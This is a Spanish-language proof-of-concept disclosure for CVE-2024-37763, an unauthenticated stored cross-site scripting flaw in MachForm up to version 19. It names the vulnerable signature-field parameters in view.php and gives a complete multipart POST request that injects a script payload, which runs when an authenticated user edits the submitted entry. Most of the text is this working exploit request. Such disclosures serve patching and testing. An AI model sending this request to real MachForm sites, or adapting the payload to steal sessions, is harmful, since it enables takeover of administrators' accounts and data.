
Prueba de concepto del exploit para CVE-2024-37763, una XSS almacenada sin autenticación en MachForm hasta la v19, que demuestra la inyección de payloads a través de parámetros vulnerables en view.php.
MachForm hasta la versión 19 está afectado por una vulnerabilidad de cross-site scripting almacenado sin autenticación que afecta a usuarios con sesiones válidas que pueden ver los resultados de formularios compilados.
En la aplicación web objetivo, cuando se utiliza un formulario con firma de texto habilitada, se ha encontrado que la solicitud realizada al recurso vulnerable sufre un ataque XSS. Un parámetro del cuerpo de la solicitud POST dentro de la URL vulnerable carece de sanitización, lo que permite colocar un payload malicioso y ejecutar código JavaScript en el navegador de la víctima.
Los parámetros vulnerables son dinámicos según dónde se coloque el componente de firma de texto en el formulario:
element_{element_number}_text_signatureelement_{element_number}Es posible inyectar un payload de JavaScript en los parámetros vulnerables.

Solicitud:
POST /view.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl/
Content-Type: multipart/form-data; boundary=---------------------------6026266881719614557329755478
Content-Length: 1141
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_1"
test5
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4_text_signature"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12"; filename=""
Content-Type: application/octet-stream
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12_token"
3cc3be6c0c28b67f1c55eb23786b2869
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="form_id"
59032
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="submit_form"
1
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="page_number"
1
-----------------------------6026266881719614557329755478--
El payload se ejecuta cuando un usuario autenticado edita la entrada del resultado del formulario.

